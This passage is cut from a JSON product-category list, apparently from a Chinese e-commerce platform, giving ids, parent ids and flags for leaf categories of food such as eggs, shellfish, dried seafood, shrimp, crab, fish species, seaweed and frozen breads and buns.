et_child":false},{"id":31318,"name":"膳食补充剂型饮料","parent_cid":28333,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31319,"name":"其他膳食营养补充剂","parent_cid":28333,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31835,"name":"干品/即食海参","parent_cid":28943,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31836,"name":"即食海参","parent_cid":28943,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31841,"name":"蜂巢素","parent_cid":29034,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31843,"name":"蜂花粉","parent_cid":29034,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31840,"name":"蜂胶","parent_cid":29034,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31844,"name":"蜂蜜糖/蜂制品","parent_cid":29034,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31842,"name":"蜂王浆","parent_cid":29034,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34011,"name":"桦树茸","parent_cid":34008,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34010,"name":"桑黄","parent_cid":34008,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34079,"name":"蛋液","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34081,"name":"海鸭蛋","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29077,"name":"活珠子/毛胚蛋","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29079,"name":"松花/皮蛋","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34082,"name":"溏心蛋","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34080,"name":"咸蛋黄","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29080,"name":"咸鸭蛋","parent_cid":22329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32123,"name":"鹌鹑蛋","parent_cid":22328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29076,"name":"鹅蛋","parent_cid":22328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29075,"name":"鸽蛋","parent_cid":22328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29073,"name":"鸡蛋","parent_cid":22328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29074,"name":"鸭蛋","parent_cid":22328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29072,"name":"其它","parent_cid":22328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32085,"name":"鲍螺","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29096,"name":"鲍鱼","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29106,"name":"北极贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33994,"name":"贝柱","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29095,"name":"蛏子","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32091,"name":"更多贝类","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32086,"name":"蛤","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32087,"name":"蚶子","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32089,"name":"江珧","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29111,"name":"蓝口贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29113,"name":"青口贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29092,"name":"扇贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29108,"name":"扇贝柱","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29094,"name":"生蚝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32090,"name":"蚬","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29112,"name":"象拔蚌","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29107,"name":"夏夷贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32088,"name":"贻贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29109,"name":"紫口贝","parent_cid":22479,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34286,"name":"多种海鲜套餐","parent_cid":32093,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34289,"name":"海参","parent_cid":22473,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33470,"name":"鲍鱼干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29104,"name":"干贝/瑶柱","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32383,"name":"更多海产干货","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33995,"name":"海蛎干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33469,"name":"蛤蜊干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33468,"name":"螺肉干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33467,"name":"墨鱼干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29089,"name":"虾干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29105,"name":"虾皮/虾米/海米","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33996,"name":"银鱼干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33466,"name":"鱿鱼干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32222,"name":"鱼干","parent_cid":32679,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34287,"name":"海鲜水产礼盒","parent_cid":22523,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34183,"name":"鲅鱼馅","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29124,"name":"贝类制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33932,"name":"臭鳜鱼","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33474,"name":"大盆菜","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33471,"name":"调味龙虾尾","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34012,"name":"调味小海鲜","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32084,"name":"调味小龙虾","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32386,"name":"佛跳墙","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34188,"name":"海参小米粥","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34186,"name":"海参制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34185,"name":"海鲜馅制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34187,"name":"海蜇制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34182,"name":"花胶鸡","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33986,"name":"烤鱼类","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32237,"name":"螺类制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34184,"name":"马鲛鱼馅","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33933,"name":"蒲烧鳗鱼/烤鳗鱼","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34006,"name":"蒜蓉粉丝扇贝","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33960,"name":"秃黄油","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29122,"name":"虾类制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29121,"name":"香辣蟹/熟醉蟹制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33472,"name":"小龙虾饭","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33473,"name":"小龙虾面","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29123,"name":"蟹类制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32225,"name":"鱼类罐头","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32221,"name":"鱼类制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32223,"name":"鱼子酱","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32387,"name":"其他非即食海鲜制品","parent_cid":32680,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34288,"name":"海蜇","parent_cid":22474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32220,"name":"干花胶/鱼胶","parent_cid":33818,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32385,"name":"花胶鸡","parent_cid":33818,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33813,"name":"甲鱼制品","parent_cid":33713,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33812,"name":"鲜活甲鱼","parent_cid":33713,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29110,"name":"翡翠螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32236,"name":"更多螺类","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32229,"name":"海螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32230,"name":"红螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32233,"name":"花螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32234,"name":"螺蛳","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32232,"name":"猫眼螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29093,"name":"泥螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32235,"name":"田螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32231,"name":"香螺","parent_cid":32092,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33990,"name":"鳌虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33987,"name":"澳洲龙虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33963,"name":"白虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33962,"name":"北极甜虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33970,"name":"波士顿龙虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33464,"name":"单冻龙虾尾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29086,"name":"更多冻虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29087,"name":"更多活虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33966,"name":"黑虎虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33988,"name":"河虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33964,"name":"红虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33969,"name":"基围虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33989,"name":"牡丹虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33967,"name":"皮皮虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33965,"name":"小青龙","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29088,"name":"虾仁","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33968,"name":"竹节虾","parent_cid":22477,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33465,"name":"大闸蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33943,"name":"帝王蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29090,"name":"更多冻蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29091,"name":"更多活蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33953,"name":"红毛蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33945,"name":"面包蟹/黄金蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33951,"name":"青蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33955,"name":"软壳蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33954,"name":"松叶蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33944,"name":"梭子蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33957,"name":"蟹柳","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33958,"name":"蟹腿","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33946,"name":"雪蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33952,"name":"珍宝蟹","parent_cid":22478,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32052,"name":"安康鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32068,"name":"白姑鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29098,"name":"斑鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32054,"name":"扒皮鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29116,"name":"巴沙鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32077,"name":"鲅鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29117,"name":"比目鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29099,"name":"鲳鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29097,"name":"带鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32062,"name":"鲷鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29100,"name":"鲽鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32051,"name":"豆腐鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33938,"name":"多宝鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29115,"name":"多春鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32072,"name":"方头鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32082,"name":"更多鱼类","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33939,"name":"桂鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33935,"name":"黑鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32069,"name":"黄姑鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29103,"name":"黄鱼/黄花鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33942,"name":"鮰鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29119,"name":"金枪鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32074,"name":"金线鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33936,"name":"鲫鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32060,"name":"军曹鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32067,"name":"蓝姑鲹","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32064,"name":"鳓鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32050,"name":"龙利鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32058,"name":"罗非鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32048,"name":"鲈鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29120,"name":"马鲛鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32078,"name":"马面鲀","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29102,"name":"鳗鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32071,"name":"梅童鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32053,"name":"面包鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32070,"name":"鮸鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32056,"name":"鳘鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32049,"name":"魔鬼鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34005,"name":"泥鳅","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33937,"name":"胖头鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32059,"name":"鲆鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33941,"name":"青花鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29118,"name":"秋刀鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29114,"name":"三文鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32066,"name":"沙丁鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34004,"name":"鳝鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32063,"name":"石斑鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32061,"name":"鰤鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32075,"name":"梭鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32055,"name":"踏板鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32076,"name":"鮐鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32065,"name":"鳀鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29101,"name":"鳕鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32057,"name":"银鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32073,"name":"玉筋鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32081,"name":"鱼类套餐","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33940,"name":"长寿鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32079,"name":"竹筴鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32080,"name":"鲻鱼","parent_cid":22480,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29084,"name":"海带","parent_cid":22476,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32095,"name":"龙须菜","parent_cid":22476,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32094,"name":"裙带菜","parent_cid":22476,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29085,"name":"紫菜","parent_cid":22476,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32268,"name":"海兔","parent_cid":32175,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32269,"name":"墨鱼","parent_cid":32175,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32382,"name":"乌贼","parent_cid":32175,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32381,"name":"鱿鱼","parent_cid":32175,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32380,"name":"章鱼","parent_cid":32175,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33999,"name":"其他软足类","parent_cid":32175,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34600,"name":"煎饼/手抓饼/灌饼/锅盔","parent_cid":28258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34482,"name":"烤馕","parent_cid":28258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34483,"name":"肉夹馍饼底","parent_cid":28258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34481,"name":"馅饼","parent_cid":28258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34601,"name":"包子","parent_cid":28256,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34477,"name":"馒头/花卷","parent_cid":28256,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34478,"name":"烧麦","parent_cid":28256,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34480,"name":"油条/油炸类","parent_cid":28256,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34479,"name":"粘豆包","parent_cid":28256,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34485,"name":"冷藏/冻罐头","parent_cid":32133,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34606,"name":"冷藏/冻米饭","parent_cid":32133,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34484,"name":"冷藏/冻粥","parent_cid":32133,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34487,"name":"馄饨/抄手","parent_cid":28253,"level":4,"enable":1,"is_leaf":true,"industry_status":2